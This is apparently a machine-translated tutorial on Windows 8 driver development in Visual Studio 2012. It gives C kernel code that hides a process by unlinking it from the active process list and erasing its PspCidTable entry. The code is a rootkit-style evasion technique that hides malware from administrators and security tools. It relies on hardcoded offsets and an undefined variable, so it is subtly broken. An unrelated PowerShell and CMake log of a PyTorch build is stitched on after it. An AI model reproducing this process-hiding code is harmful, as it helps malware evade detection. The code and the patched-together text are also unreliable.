use Visual studio2012 development kernel to hidden process on Windows8

本文详细介绍了Windows NT和Windows 95在内核模式驱动方面的区别,包括保护模式、设备驱动分类及Visual Studio 2012与Windows 8驱动开发流程。
In Windows NT, the 80386 protected mode "protection" is more robust than Windows 95, the "gilded cage" more solid, more difficult to break. In Windows 95, at least the application I / O operation is unrestricted, Windows NT application even this permission are deprived. Less likely to enter in the NT almost real ring0 layer.
In Windows NT, there are three Device Driver:
  1. "Virtual device Driver" (VDD). VDD, 16-bit applications, such as DOS and Win16 applications can access specific I / O ports (Note, not direct access, but to VDD to access).
  2. "GDI Driver", display and print the necessary GDI functions.
  3. "Kernel Mode Driver", the operation of specific hardware, for example, CreateFile, CloseHandle (file object), ReadFile, WriteFile, the DeviceIoControl other operations. "Kernel Mode Driver" Windows NT hardware interrupt and DMA operation Driver. SCSI port driver and NIC NDIS driver Kernel Mode Driver is a special form.
 
 
Visual studio2012 Windows8 bring new experience exceptionally different
 
1.Start Vs2012


2. Seen everywhere driven development template


3.Select a drive mode, there are two types of kernel mode and user mode driver


 
4 Create a driver, KMDF DriverMVP


 
5.We choose a kernel mode driver Below is created after the success of the interface are the driver, and the driver installation package


6.Press F5, select the drive compile
 




Insert the following code kernel hidden process

Header files

#ifndef DBGHELP_H  
#define DBGHELP_H 1  
  
  
  
  
#include <ntifs.h>  
  
  
  
  
/************************************************************************/  
/* 重量级结构的申明                                                                     */  
/************************************************************************/  
  
  
typedef struct _HANDLE_TABLE {  
    ULONG Flags;  
    LONG HandleCount;  
    PHANDLE_TABLE_ENTRY **Table;  
    struct _EPROCESS *QuotaProcess;  
    HANDLE UniqueProcessId;  
    LONG FirstFreeTableEntry;  
    LONG NextIndexNeedingPool;    
    ERESOURCE HandleTableLock;   
    LIST_ENTRY HandleTableList;  
    KEVENT HandleContentionEvent;  
} HANDLE_TABLE, *PHANDLE_TABLE;    
  
typedef BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)(  
                                               IN PHANDLE_TABLE_ENTRY HandleTableEntry,  
                                               IN HANDLE Handle,  
                                               IN PVOID EnumParameter  
                                               );  
typedef BOOLEAN(*__ExEnumHandleTable)(  
                                      IN PHANDLE_TABLE HandleTable,  
                                      IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,  
                                      IN PVOID EnumParameter,  
                                      OUT PHANDLE Handle OPTIONAL   
    );  
  
typedef BOOLEAN (*EXENUMHANDLETABLE)(  
                                     IN PHANDLE_TABLE HandleTable,  
                                     IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,  
                                     IN PVOID EnumParameter,  
                                     OUT PHANDLE Handle OPTIONAL  
                                       );  
  
/************************************************************************/  
/* 申明一些全局变量                                                                     */  
/************************************************************************/  
ULONG    g_Offset_Eprocess_Name=0;  
ULONG    g_Offset_Eprocess_Flink = 0;  
ULONG    g_Offset_Eprocess_ProcessId = 0;  
ULONG    g_Offset_Eprocess_HandleTable = 0;  
__ExEnumHandleTable ExEnumHandleTable ;  
  
PEPROCESS  g_pEprocess_System = 0;  
ULONG trytimes=0;  
ULONG error=0;  
  
/************************************************************************/  
/* 申明一些函数                                                                     */  
/************************************************************************/  
  
BOOLEAN EnumHandleCallback(PHANDLE_TABLE_ENTRY HandleTableEntry,IN HANDLE Handle,PVOID EnumParameter  
);  
  
  
NTSTATUS   
EraseObjectFromHandleTable(  
                           PHANDLE_TABLE pHandleTable,  
                           IN ULONG ProcessId   
);  
  
VOID RemoveNodeFromActiveProcessLinks(  
  IN ULONG ProcessId  
  );  
  
VOID  
HideProcessById(  
  IN ULONG ProcessId  
);  
  
  
NTSTATUS   
LookupProcessByName(  
                    OUT PEPROCESS pEprocess   
                    );  
  
NTSTATUS   
InitializeCommonVariables(  
    );  
  
NTSTATUS GetProcessNameOffset(  
                     OUT PULONG Offset OPTIONAL   
);  
  
BOOLEAN IsValidModule(ULONG i);  
  
void Search();  
  
ULONG GetAddrFromProcessId();  
  
  
VOID ClearMZMask();  
  
#endif 


Source files

VOID BreakThreadByProcess(ULONG Pid)  
{  
/*++ 
 
Routine Description: 
 
    将所有线程ETHREAD结构的ThreadsProcess抹掉 
 
Return Value: 
VOID 
 
--*/  
    PEPROCESS eProcess;  
    PETHREAD eThread;  
    PLIST_ENTRY pList;  
      
    PsLookupProcessByProcessId(Pid,&eProcess);  
    pList = eProcess->Pcb.ThreadListHead.Blink;  
    while (pList != eProcess->Pcb.ThreadListHead.Flink)  
    {  
        eThread = (PETHREAD)(CONTAINING_RECORD(pList,KTHREAD,ThreadListEntry));  
        eThread->ThreadsProcess = 0;  
        pList = pList->Blink;  
    }  
      
}  
  
  
VOID ClearMZMask()  
{  
/*++ 
 
 
 
Routine Description: 
 
    擦除PE文件MZ,PE标志 
 
Return Value: 
VOID 
 
--*/  
    PVOID addr;  
    ULONG pid;  
    PEPROCESS eProcess;  
    KAPC_STATE apcstatus;  
  
  
    pid = ProtectPid;  
    PsLookupProcessByProcessId(pid,&eProcess);  
  
    KeStackAttachProcess(eProcess,&apcstatus);  
  
  
    KeUnstackDetachProcess(&apcstatus);  
}  
  
  
  
ULONG GetAddrFromProcessId()   
{   
/*++ 
 
 
 
Routine Description: 
 
    搜索PsLookupProcessByProcessId函数得到PspCidTable的地址 
    ppPspCidTable:返回PspCidTable表地址 
 
Return Value: 
VOID 
 
--*/  
    UNICODE_STRING pslookup;   
    PUCHAR  addr;   
    PUCHAR p;   
    ULONG q;   
    RtlInitUnicodeString(&pslookup,L"PsLookupProcessByProcessId");   
    addr=(PUCHAR)MmGetSystemRoutineAddress(&pslookup);   
      
    for(p=addr;p<addr+PAGE_SIZE;p++)   
    {   
        if((*(PUSHORT)p==0x35ff)&&(*(p+6)==0xe8))   
        {     
            q=*(PULONG)(p+2);   
            return q;   
            break;   
        }   
    }   
    return 0;   
}  
  
  
  
  
  
BOOLEAN   
EnumHandleCallback(  
IN PHANDLE_TABLE_ENTRY HandleTableEntry,  
IN HANDLE Handle,  
IN OUT PVOID EnumParameter   
)  
{  
    if(ARGUMENT_PRESENT(EnumParameter)&&*(HANDLE*)EnumParameter==Handle)  
    {  
        *(PHANDLE_TABLE_ENTRY*)EnumParameter=HandleTableEntry ;  
        return TRUE ;  
    }  
    return FALSE ;  
}  
  
  
  
  
  
// 修改一下,可以传递要擦除的ID做参数  
NTSTATUS   
EraseObjectFromHandleTable(  
PHANDLE_TABLE pHandleTable,  
IN ULONG ProcessId   
)  
{  
/*++ 
 
 
 
Routine Description: 
  擦出PspCidTable结构中的句柄 
  pHandleTable:指向句柄表指针 
  ProcessId:进程的PID 
 Return Value: 
VOID 
 
--*/  
  
    NTSTATUS status ;  
      
    PVOID EnumParameter ;  
    UNICODE_STRING uniExEnumHandleTable ;  
      
    __ExEnumHandleTable ExEnumHandleTable ;  
      
    status=STATUS_NOT_FOUND ;  
    EnumParameter=ProcessId ;  
      
      
    RtlInitUnicodeString(&uniExEnumHandleTable,L"ExEnumHandleTable");  
    ExEnumHandleTable=MmGetSystemRoutineAddress(&uniExEnumHandleTable);  
      
    if(NULL==ExEnumHandleTable)  
    {  
        return STATUS_NOT_FOUND ;  
    }  
      
    // Enum后可以擦除,Callback过程中不能擦除  
    if(ExEnumHandleTable(pHandleTable,EnumHandleCallback,&EnumParameter,NULL))  
    {  
        InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)EnumParameter)->Object,NULL);  
        status=STATUS_SUCCESS ;  
    }  
      
    return status ;  
}  
  
  
  
  
  
VOID RemoveNodeFromActiveProcessLinks(  
  IN ULONG ProcessId  
  )  
{  
/*++ 
 
 
 
Routine Description: 
  移除进程EPROCESS结构中的ActiveProces中自己的链表 
  ProcessId:进程的PID 
 Return Value: 
VOID 
 
--*/  
    NTSTATUS status;  
  
    LIST_ENTRY  *pListEntry;  
    PEPROCESS  pEprocess;  
    status = PsLookupProcessByProcessId(ProcessId,&pEprocess);  
    if (!NT_SUCCESS(status))  
    {  
        DbgPrint("PsLookupProcessByProcessId Error!\n");  
        return ;  
    }  
//  ObDereferenceObject(pEprocess);  
  
  
    pListEntry = (LIST_ENTRY *)((ULONG)pEprocess + 0x88);  
  
    pListEntry->Flink->Blink = pListEntry->Blink;  
    pListEntry->Blink->Flink = pListEntry->Flink;  
  
  
}  
  
  
VOID  
HideProcessById(  
                IN ULONG ProcessId   
                )  
{  
    NTSTATUS status ;  
    HANDLE_TABLE *pPspCidTable ;  
    PEPROCESS pCsrssEprocess=NULL ;  
      
      
  
        status=InitializeCommonVariables();  
  
      
    pPspCidTable = (HANDLE_TABLE *)GetAddrFromProcessId();  
      
      
  
    status=LookupProcessByName(pCsrssEprocess);  
      
  
     
    // 先从活动进程链表中摘除  
   RemoveNodeFromActiveProcessLinks(ProcessId);  
      
      
    // 擦除PspCidTable中对应的Object  
    EraseObjectFromHandleTable(pPspCidTable,ProcessId);  
      
      
    // 擦除Csrss进程中那份表,无数次蓝屏,所以坚决放弃  
//    EraseObjectFromHandleTable(*(PULONG)((ULONG)pCsrssEprocess+0x0c4),ProcessId);  
      
      
    return ;  
}  
  
  
  
NTSTATUS   
LookupProcessByName(  
                    OUT PEPROCESS pEprocess   
                    )  
{  
    PEPROCESS esProcess;  
    LIST_ENTRY *listen;  
    esProcess = PsGetCurrentProcess();  
  
    while (1)  
    {  
        listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88))->Blink;  
        esProcess= (EPROCESS *)((ULONG)listen - 0x88);  
        DbgPrint("Process is %s\n",(WCHAR *)((ULONG)esProcess + 0x174));  
        if (!strncmp((WCHAR *)((ULONG)esProcess + 0x174),"csrss.exe",strlen("csrss.exe")))  
        {  
            DbgPrint("Process Name is %s\n",(WCHAR *)((ULONG)esProcess + 0x174));  
            pEprocess = esProcess;  
            DbgPrint("CSRSSS EPROCESS IS 0x%x\n",(ULONG)esProcess);  
            return STATUS_SUCCESS;  
            break;  
        }  
        listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88));  
    }   
  
}  
  
  
  
NTSTATUS   
GetProcessNameOffset(  
                     OUT PULONG Offset OPTIONAL   
                     )  
{  
    NTSTATUS status ;  
    PEPROCESS curproc ;  
    ULONG i ;  
      
    if(!MmIsAddressValid((PVOID)Offset))  
    {  
        status=STATUS_INVALID_PARAMETER ;  
        return status ;  
    }  
      
    curproc=PsGetCurrentProcess();  
      
    //  
    // 然后搜索KPEB,得到ProcessName相对KPEB的偏移量  
    // 偏移174h的位置,这里存的是进程的短文件名,少数地方用,  
    // 比如SoftIce的addr和proc命令,如果名称超过16个字符直接截断  
      
    // Scan for 12KB, hopping the KPEB never grows that big!  
    //  
    for(i=0;i<3*PAGE_SIZE;i++)  
    {  
          
        if(!strncmp("System",(PCHAR)curproc+i,strlen("System")))  
        {  
            *Offset=i ;  
            status=STATUS_SUCCESS ;  
            break ;  
        }  
    }  
    return status ;  
}  
  
  
NTSTATUS   
InitializeCommonVariables(  
)  
{  
    NTSTATUS status ;  
    ULONG uMajorVersion ;  
    ULONG uMinorVersion ;  
      
    status=GetProcessNameOffset(&g_Offset_Eprocess_Name);  
      
    if(!NT_SUCCESS(status))  
    {  
        return status ;  
    }  
      
    g_pEprocess_System=PsGetCurrentProcess();  
      
    PsGetVersion(&uMajorVersion,&uMinorVersion,NULL,NULL);  
      
    if(uMajorVersion==4&&uMinorVersion==0)  
    {  
        g_Offset_Eprocess_Flink=152 ;  
        // Stop supporting NT 4.0  
        return STATUS_UNSUCCESSFUL ;  
    }  
    else if(uMajorVersion==5&&uMinorVersion==0)  
    {  
        g_Offset_Eprocess_ProcessId=156 ;  
        g_Offset_Eprocess_Flink=160 ;  
        g_Offset_Eprocess_HandleTable=0x128 ;  
    }  
    else if(uMajorVersion==5&&uMinorVersion==1)  
    {  
        g_Offset_Eprocess_ProcessId=132 ;  
        g_Offset_Eprocess_Flink=136 ;  
        g_Offset_Eprocess_HandleTable=0xC4 ;  
    }  
    else if(uMajorVersion==5&&uMinorVersion==2)  
    {  
        g_Offset_Eprocess_ProcessId=132 ;  
        g_Offset_Eprocess_Flink=136 ;  
        g_Offset_Eprocess_HandleTable=0xC4 ;  
    }  
      
    return STATUS_SUCCESS ;  
}  
  
/*++ 
 
Routine Description: 
  得到各个变量的偏移 
 Return Value: 
VOID 
 
--*/  



好像卡住了”(.venv) PS E:\PyTorch_Build\pytorch> # 1. 准备工作空间 (.venv) PS E:\PyTorch_Build\pytorch> $sourceDir = "E:\PyTorch_Build\pytorch" (.venv) PS E:\PyTorch_Build\pytorch> $buildDir = "$sourceDir\build" (.venv) PS E:\PyTorch_Build\pytorch> $installDir = "$sourceDir\install" (.venv) PS E:\PyTorch_Build\pytorch> (.venv) PS E:\PyTorch_Build\pytorch> # 清理工作区 (.venv) PS E:\PyTorch_Build\pytorch> Remove-Item -Path $buildDir -Recurse -Force -ErrorAction SilentlyContinue (.venv) PS E:\PyTorch_Build\pytorch> Remove-Item -Path $installDir -Recurse -Force -ErrorAction SilentlyContinue (.venv) PS E:\PyTorch_Build\pytorch> New-Item -Path $buildDir -ItemType Directory -Force | Out-Null (.venv) PS E:\PyTorch_Build\pytorch> New-Item -Path $installDir -ItemType Directory -Force | Out-Null (.venv) PS E:\PyTorch_Build\pytorch> (.venv) PS E:\PyTorch_Build\pytorch> # 2. 设置环境变量 (.venv) PS E:\PyTorch_Build\pytorch> $env:Path = "C:\Program Files\CMake\bin;E:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v13.0\bin;E:\Python310;$env:Path" (.venv) PS E:\PyTorch_Build\pytorch> $env:CUDA_PATH = "E:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v13.0" (.venv) PS E:\PyTorch_Build\pytorch> (.venv) PS E:\PyTorch_Build\pytorch> # 3. 安装正确的 CMake 版本 (.venv) PS E:\PyTorch_Build\pytorch> Write-Host "安装 CMake 3.28..." 安装 CMake 3.28... (.venv) PS E:\PyTorch_Build\pytorch> Invoke-WebRequest -Uri "https://github.com/Kitware/CMake/releases/download/v3.28.3/cmake-3.28.3-windows-x86_64.msi" -OutFile "$env:TEMP\cmake.msi" Invoke-WebRequest: One or more errors occurred. (The response ended prematurely. (ResponseEnded)) (.venv) PS E:\PyTorch_Build\pytorch> Start-Process msiexec -ArgumentList "/i `"$env:TEMP\cmake.msi`" /quiet" -Wait (.venv) PS E:\PyTorch_Build\pytorch> $env:Path = "C:\Program Files\CMake\bin;$env:Path" (.venv) PS E:\PyTorch_Build\pytorch> (.venv) PS E:\PyTorch_Build\pytorch> # 4. 生成 CMake 配置 (.venv) PS E:\PyTorch_Build\pytorch> Set-Location $buildDir (.venv) PS E:\PyTorch_Build\pytorch\build> (.venv) PS E:\PyTorch_Build\pytorch\build> $cmakeCommand = @" >> cmake $sourceDir ` >> -G "Visual Studio 17 2022" -A x64 ` >> -DCMAKE_INSTALL_PREFIX="$installDir" ` >> -DCMAKE_TOOLCHAIN_FILE="$sourceDir/cmake/modules/win_toolchain.cmake" ` >> -DBUILD_PYTHON=ON ` >> -DPython_EXECUTABLE="E:\Python310\python.exe" ` >> -DUSE_CUDA=ON ` >> -DUSE_CUDNN=ON ` >> -DCUDNN_INCLUDE_DIR="E:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v13.0\include" ` >> -DCUDNN_LIBRARY="E:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v13.0\lib\x64\cudnn.lib" ` >> -DUSE_MKLDNN=OFF ` >> -DUSE_DNNL=OFF ` >> -DUSE_STATIC_OPENMP=ON ` >> -DBUILD_TEST=OFF ` >> -DBUILD_TORCH=ON ` >> -DCMAKE_BUILD_TYPE=Release >> "@ (.venv) PS E:\PyTorch_Build\pytorch\build> (.venv) PS E:\PyTorch_Build\pytorch\build> Invoke-Expression $cmakeCommand 2>&1 | Tee-Object -FilePath "$buildDir\cmake_configure.log" -- Building for: Visual Studio 17 2022 -- Selecting Windows SDK version 10.0.26100.0 to target Windows . -- The CXX compiler identification is MSVC 19.44.35215.0 -- The C compiler identification is MSVC 19.44.35215.0 -- Detecting CXX compiler ABI info -- Detecting CXX compiler ABI info - done -- Check for working CXX compiler: C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe - skipped -- Detecting CXX compile features -- Detecting CXX compile features - done -- Detecting C compiler ABI info -- Detecting C compiler ABI info - done -- Check for working C compiler: C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe - skipped -- Detecting C compile features -- Detecting C compile features - done -- Not forcing any particular BLAS to be found -- Build type not set - defaulting to Release -- Performing Test C_HAS_AVX_1 -- Performing Test C_HAS_AVX_1 - Success -- Performing Test C_HAS_AVX2_1 -- Performing Test C_HAS_AVX2_1 - Success -- Performing Test C_HAS_AVX512_1 -- Performing Test C_HAS_AVX512_1 - Success -- Performing Test CXX_HAS_AVX_1 -- Performing Test CXX_HAS_AVX_1 - Success -- Performing Test CXX_HAS_AVX2_1 -- Performing Test CXX_HAS_AVX2_1 - Success -- Performing Test CXX_HAS_AVX512_1 -- Performing Test CXX_HAS_AVX512_1 - Success -- Current compiler supports avx2 extension. Will build perfkernels. -- Performing Test COMPILER_SUPPORTS_HIDDEN_VISIBILITY -- Performing Test COMPILER_SUPPORTS_HIDDEN_VISIBILITY - Failed -- Performing Test COMPILER_SUPPORTS_HIDDEN_INLINE_VISIBILITY -- Performing Test COMPILER_SUPPORTS_HIDDEN_INLINE_VISIBILITY - Failed -- Could not find hardware support for NEON on this machine. -- No OMAP3 processor on this machine. -- No OMAP4 processor on this machine. -- Compiler does not support SVE extension. Will not build perfkernels. -- Performing Test HAS/UTF_8 -- Performing Test HAS/UTF_8 - Success -- Could NOT find CUDA (missing: CUDA_TOOLKIT_ROOT_DIR) (found version "13.0") -- Building using own protobuf under third_party per request. -- Use custom protobuf build. -- -- 3.13.0.0 -- Performing Test CMAKE_HAVE_LIBC_PTHREAD -- Performing Test CMAKE_HAVE_LIBC_PTHREAD - Failed -- Looking for pthread_create in pthreads -- Looking for pthread_create in pthreads - not found -- Looking for pthread_create in pthread -- Looking for pthread_create in pthread - not found -- Found Threads: TRUE -- Caffe2 protobuf include directory: $<BUILD_INTERFACE:E:/PyTorch_Build/pytorch/third_party/protobuf/src>$<INSTALL_INTERFACE:include> -- Trying to find preferred BLAS backend of choice: MKL -- MKL_THREADING = OMP -- Looking for sys/types.h -- Looking for sys/types.h - found -- Looking for stdint.h -- Looking for stdint.h - found -- Looking for stddef.h -- Looking for stddef.h - found -- Check size of void* -- Check size of void* - done -- MKL_THREADING = OMP -- MKL_THREADING = OMP -- Checking for [mkl_intel_lp64 - mkl_intel_thread - mkl_core - libiomp5md] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_intel_thread - mkl_core - libiomp5md] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_intel_thread - mkl_core] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_intel_thread - mkl_core] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_sequential - mkl_core] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_sequential - mkl_core] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_core - libiomp5md - pthread] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_core - libiomp5md - pthread] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_core - pthread] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_core - pthread] -- Library mkl_intel: not found -- Checking for [mkl - guide - pthread - m] -- Library mkl: not found -- MKL library not found -- Checking for [blis] -- Library blis: BLAS_blis_LIBRARY-NOTFOUND -- Checking for [Accelerate] -- Library Accelerate: BLAS_Accelerate_LIBRARY-NOTFOUND -- Checking for [vecLib] -- Library vecLib: BLAS_vecLib_LIBRARY-NOTFOUND -- Checking for [flexiblas] -- Library flexiblas: BLAS_flexiblas_LIBRARY-NOTFOUND -- Checking for [openblas] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [openblas - pthread - m] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [openblas - pthread - m - gomp] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [libopenblas] -- Library libopenblas: BLAS_libopenblas_LIBRARY-NOTFOUND -- Checking for [goto2 - gfortran] -- Library goto2: BLAS_goto2_LIBRARY-NOTFOUND -- Checking for [goto2 - gfortran - pthread] -- Library goto2: BLAS_goto2_LIBRARY-NOTFOUND -- Checking for [acml - gfortran] -- Library acml: BLAS_acml_LIBRARY-NOTFOUND -- Checking for [blis] -- Library blis: BLAS_blis_LIBRARY-NOTFOUND -- Could NOT find Atlas (missing: Atlas_CBLAS_INCLUDE_DIR Atlas_CLAPACK_INCLUDE_DIR Atlas_CBLAS_LIBRARY Atlas_BLAS_LIBRARY Atlas_LAPACK_LIBRARY) -- Checking for [ptf77blas - atlas - gfortran] -- Library ptf77blas: BLAS_ptf77blas_LIBRARY-NOTFOUND -- Checking for [] -- Looking for sgemm_ -- Looking for sgemm_ - not found -- Cannot find a library with BLAS API. Not using BLAS. -- Using pocketfft in directory: E:/PyTorch_Build/pytorch/third_party/pocketfft/ -- Using third party subdirectory Eigen. -- Found Python: E:/Python310/python.exe (found version "3.10.10") found components: Interpreter Development.Module NumPy -- Using third_party/pybind11. -- pybind11 include dirs: E:/PyTorch_Build/pytorch/cmake/../third_party/pybind11/include -- Could NOT find OpenTelemetryApi (missing: OpenTelemetryApi_INCLUDE_DIRS) -- Using third_party/opentelemetry-cpp. -- opentelemetry api include dirs: E:/PyTorch_Build/pytorch/cmake/../third_party/opentelemetry-cpp/api/include -- Could NOT find MPI_C (missing: MPI_C_LIB_NAMES MPI_C_HEADER_DIR MPI_C_WORKS) -- Could NOT find MPI_CXX (missing: MPI_CXX_LIB_NAMES MPI_CXX_HEADER_DIR MPI_CXX_WORKS) -- Could NOT find MPI (missing: MPI_C_FOUND MPI_CXX_FOUND) -- MKL_THREADING = OMP -- Check OMP with lib C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.44.35207/lib/x64/libomp.lib and flags -openmp:experimental -- MKL_THREADING = OMP -- Check OMP with lib C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.44.35207/lib/x64/libomp.lib and flags -openmp:experimental -- Found OpenMP_C: -openmp:experimental -- Found OpenMP_CXX: -openmp:experimental -- Found OpenMP: TRUE -- Adding OpenMP CXX_FLAGS: -openmp:experimental -- Will link against OpenMP libraries: C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.44.35207/lib/x64/libomp.lib -- Found nvtx3: E:/PyTorch_Build/pytorch/third_party/NVTX/c/include -- ROCM_PATH environment variable is not set and C:/opt/rocm does not exist. Building without ROCm support. -- Found Python3: E:/Python310/python.exe (found version "3.10.10") found components: Interpreter -- ONNX_PROTOC_EXECUTABLE: $<TARGET_FILE:protobuf::protoc> -- Protobuf_VERSION: Protobuf_VERSION_NOTFOUND -- -- ******** Summary ******** -- CMake version : 4.1.0 -- CMake command : E:/Python310/Lib/site-packages/cmake/data/bin/cmake.exe -- System : Windows -- C++ compiler : C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe -- C++ compiler version : 19.44.35215.0 -- CXX flags : /DWIN32 /D_WINDOWS /EHsc /Zc:__cplusplus /MP /bigobj /FS /utf-8 /EHsc /wd26812 -- Build type : Release -- Compile definitions : ONNX_ML=1;ONNXIFI_ENABLE_EXT=1 -- CMAKE_PREFIX_PATH : -- CMAKE_INSTALL_PREFIX : C:/Program Files (x86)/Torch -- CMAKE_MODULE_PATH : E:/PyTorch_Build/pytorch/cmake/Modules;E:/PyTorch_Build/pytorch/cmake/public/../Modules_CUDA_fix -- -- ONNX version : 1.18.0 -- ONNX NAMESPACE : onnx_torch -- ONNX_USE_LITE_PROTO : OFF -- USE_PROTOBUF_SHARED_LIBS : OFF -- ONNX_DISABLE_EXCEPTIONS : OFF -- ONNX_DISABLE_STATIC_REGISTRATION : OFF -- ONNX_WERROR : OFF -- ONNX_BUILD_TESTS : OFF -- BUILD_SHARED_LIBS : OFF -- -- Protobuf compiler : $<TARGET_FILE:protobuf::protoc> -- Protobuf includes : -- Protobuf libraries : -- ONNX_BUILD_PYTHON : OFF -- Found CUDA with FP16 support, compiling with torch.cuda.HalfTensor -- Adding -DNDEBUG to compile flags -- Could not find hardware support for NEON on this machine. -- No OMAP3 processor on this machine. -- No OMAP4 processor on this machine. -- MKL_THREADING = OMP -- Checking for [mkl_intel_lp64 - mkl_intel_thread - mkl_core - libiomp5md] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_intel_thread - mkl_core - libiomp5md] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_intel_thread - mkl_core] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_intel_thread - mkl_core] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_sequential - mkl_core] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_sequential - mkl_core] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_core - libiomp5md - pthread] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_core - libiomp5md - pthread] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_core - pthread] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_core - pthread] -- Library mkl_intel: not found -- Checking for [mkl - guide - pthread - m] -- Library mkl: not found -- MKL library not found -- Checking for [blis] -- Library blis: BLAS_blis_LIBRARY-NOTFOUND -- Checking for [Accelerate] -- Library Accelerate: BLAS_Accelerate_LIBRARY-NOTFOUND -- Checking for [vecLib] -- Library vecLib: BLAS_vecLib_LIBRARY-NOTFOUND -- Checking for [flexiblas] -- Library flexiblas: BLAS_flexiblas_LIBRARY-NOTFOUND -- Checking for [openblas] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [openblas - pthread - m] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [openblas - pthread - m - gomp] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [libopenblas] -- Library libopenblas: BLAS_libopenblas_LIBRARY-NOTFOUND -- Checking for [goto2 - gfortran] -- Library goto2: BLAS_goto2_LIBRARY-NOTFOUND -- Checking for [goto2 - gfortran - pthread] -- Library goto2: BLAS_goto2_LIBRARY-NOTFOUND -- Checking for [acml - gfortran] -- Library acml: BLAS_acml_LIBRARY-NOTFOUND -- Checking for [blis] -- Library blis: BLAS_blis_LIBRARY-NOTFOUND -- Could NOT find Atlas (missing: Atlas_CBLAS_INCLUDE_DIR Atlas_CLAPACK_INCLUDE_DIR Atlas_CBLAS_LIBRARY Atlas_BLAS_LIBRARY Atlas_LAPACK_LIBRARY) -- Checking for [ptf77blas - atlas - gfortran] -- Library ptf77blas: BLAS_ptf77blas_LIBRARY-NOTFOUND -- Checking for [] -- Cannot find a library with BLAS API. Not using BLAS. -- LAPACK requires BLAS -- Cannot find a library with LAPACK API. Not using LAPACK. -- MIOpen not found. Compiling without MIOpen support -- {fmt} version: 11.2.0 -- Build type: Release -- Using CPU-only version of Kineto -- Configuring Kineto dependency: -- KINETO_SOURCE_DIR = E:/PyTorch_Build/pytorch/third_party/kineto/libkineto -- KINETO_BUILD_TESTS = OFF -- KINETO_LIBRARY_TYPE = static -- Found PythonInterp: E:/Python310/python.exe (found version "3.10.10") -- CUDA_SOURCE_DIR = -- ROCM_SOURCE_DIR = -- CUPTI unavailable or disabled - not building GPU profilers -- Kineto: FMT_SOURCE_DIR = E:/PyTorch_Build/pytorch/third_party/fmt -- Kineto: FMT_INCLUDE_DIR = E:/PyTorch_Build/pytorch/third_party/fmt/include -- CUPTI_INCLUDE_DIR = /extras/CUPTI/include -- ROCTRACER_INCLUDE_DIR = /include/roctracer -- DYNOLOG_INCLUDE_DIR = E:/PyTorch_Build/pytorch/third_party/kineto/libkineto/third_party/dynolog/ -- IPCFABRIC_INCLUDE_DIR = E:/PyTorch_Build/pytorch/third_party/kineto/libkineto/third_party/dynolog//dynolog/src/ipcfabric/ -- Configured Kineto (CPU) -- Performing Test HAS/WD4624 -- Performing Test HAS/WD4624 - Success -- Performing Test HAS/WD4068 -- Performing Test HAS/WD4068 - Success -- Performing Test HAS/WD4067 -- Performing Test HAS/WD4067 - Success -- Performing Test HAS/WD4267 -- Performing Test HAS/WD4267 - Success -- Performing Test HAS/WD4661 -- Performing Test HAS/WD4661 - Success -- Performing Test HAS/WD4717 -- Performing Test HAS/WD4717 - Success -- Performing Test HAS/WD4244 -- Performing Test HAS/WD4244 - Success -- Performing Test HAS/WD4804 -- Performing Test HAS/WD4804 - Success -- Performing Test HAS/WD4273 -- Performing Test HAS/WD4273 - Success -- Performing Test HAS_WNO_STRINGOP_OVERFLOW -- Performing Test HAS_WNO_STRINGOP_OVERFLOW - Failed -- Found Git: E:/Program Files/Git/cmd/git.exe (found version "2.51.0.windows.1") -- -- Note: when building with Visual Studio the build type is specified when building. -- For example: 'cmake --build . --config=Release -- Architecture: -- Use the C++ compiler to compile (MI_USE_CXX=ON) -- -- Library name : mimalloc -- Version : 2.2.4 -- Build type : release -- C++ Compiler : C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe -- Compiler flags : /Zc:__cplusplus -- Compiler defines : MI_CMAKE_BUILD_TYPE=release;MI_BUILD_RELEASE -- Link libraries : 